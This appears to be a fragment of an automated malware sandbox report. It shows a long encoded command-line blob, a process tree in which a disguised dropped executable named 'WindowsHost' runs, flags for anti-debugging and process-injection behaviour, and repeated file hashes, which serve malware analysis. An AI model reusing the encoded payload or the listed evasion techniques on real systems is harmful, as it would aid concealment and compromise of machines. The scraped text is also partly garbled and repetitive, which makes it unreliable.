U3/Aj07/sdKSS8IQ4GNYUhRuHPtLe0Esvqi0VJKAuve5W9q9dVVoN4oaHyl4m/CXY5HiQdsf+XyL84XpMEpmGtuSHEi4nP1DZh6S6JwAp2rlyOeuHzk4ATfU6tIbZZl4JO/EhlYGP01grfWXfKALoYH4XW+B8ujwEp8FnWX+4FGugXL9Te07xCQPyD0uD9CDjXrucMQUPrV47rvgNQ+fG5bBdjtD4BBnPt+BMWpaeisLIndArUTxax2PMmh0u/LxUk48zticBsEDnEf0BZtBLIlvErippog15oi3FUPy8hxbGGb4I/kfTVTkMYUbjbEhQk1xPx48/Z5z8aPH5l7PwEJ3yWPnQIXJNbPGj+Y4yaNrXicuTLOU/RURcETfvkkGx9qt165n/H3eMS42wpGLpfo+9fLcyTjqow3asA0wi+ZrLrFKTkhNHhhc0gLTS30Z45XbgyhPQODvRYx1er+sdsZpMntAeZtoNiuKYXCpyFz9RU+m2K12GmGA0lmnUQPDjego/AZYLxQp3jjx5/vT0Z68AWucfOMvXxGitFBB1bAGU8B78Za/ZIMzxKAfg5aYW95vrp/E/4Fx/PZK7oXoemG8dWuzIcizvOVgXXqnnV5rBVA3EI374dfSTR8lSukJUOeknRzYAYIArYPln4OnhAOHiUzzqYfiK7v/VGomE9JKzgDv4g2kcqsN6PRPeFcLhBbv6KkgsbOrz/RjqlDcF7AHtIuRkDn+YIh7flp/kpILQVZkgUzuo5rvV9WGPgcDevxijjdTITnU30GQGlHUbAoHCrw1ieVVtvdLexq2af6XgmHCu4WH7/5ZMF/bAApfCRQ/6vIfNQWOEvNnoSmMqu2KPCfnaToC3+XHCW3tcdWNTR1N/l+6gJKlFFuPqx3fRvToK6YFKr7Ln3y7r6DfjTu7aoR3eZ6MpFm2uH/QhCnp4t8FmWae/pjJ1mCmaPvjKbXOy754C0wUY75Rk5dPOW5OV7FUH973Lt6bUmWWZzUqo5EIM4g8dZ3F8T0vLdh4SPGHiTKciwwlAloDiFNzwC7U+Nx0FkZzqKwSYiBF/jeVprrARJ8czizBuuMidAQnacpjJhhYuoTAUioE9pliSyjgtI4HW9q95TCsFi0Ow2BqsMsAwNiv05VFrQKrL5WYMeaMEqCSJCLr6j0ZD6CsezvOgFsc+ZyWc2Konpxr2SM7I4nt2Dv2kEqobkwzj8NN0+52NqLQRinaLR9EpvdgGYZeZtR41v+DY50dPTOmJLLj7tTkMc2+Kg19CJpIGk6VqE+3hH/TnOjkhfZuVPmLB6AW3jPb59YWpqVmhUKlFEUmX8qo+LS584OQ1AgMqOuPbB2JPaRd+lnIBrsdYn141ejE5qxlHMkUVHWo2uSGSu9CEWxq6ulv/QJ4OoddmZNvgofzJsHXxK/61JoCg0w2YP112mQYjgbBrwzqP0OAVtdYvY=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532
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C:\Windows\system32\taskeng.exetaskeng.exe {F7D403EA-BBE4-4F4C-98BB-0998AFDADAD4} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
PID:584 -
C:\Program Files\Windows\WindowsHost"C:\Program Files\Windows\WindowsHost"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:268
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
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Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
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Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
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Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5850a651341c50bd7fcde230cabc9a1da
SHA1d7af1595fec68609419101413d46ccf957670c30
SHA2562ad14e8c9a41df6c25c04979f41cbd231b3c9974a99627ec062e06d4d8262385
SHA5127ac4ad1937f38b28fdb7e2417d63e7d7aef13daebec2e9ce33b30a86b8925bae70aedda0d128bff2deabc5b6603eaa00a424fb71733e9becfb874d3c721abfb3
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5850a651341c50bd7fcde230cabc9a1da
SHA1d7af1595fec68609419101413d46ccf957670c30
SHA2562ad14e8c9a41df6c25c04979f41cbd231b3c9974a99627ec062e06d4d8262385
SHA5127ac4ad1937f38b28fdb7e2417d63e7d7aef13daebec2e9ce33b30a86b8925bae70aedda0d128bff2deabc5b6603eaa00a424fb71733e9becfb874d3c721abfb3
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Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634
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Filesize
9.4MB
MD5bf41699ea8e7a4ddc8989a616909c05d
SHA11f39ca29bec36d9971fd67a04e48108afa487b39
SHA256ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1
SHA51272e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634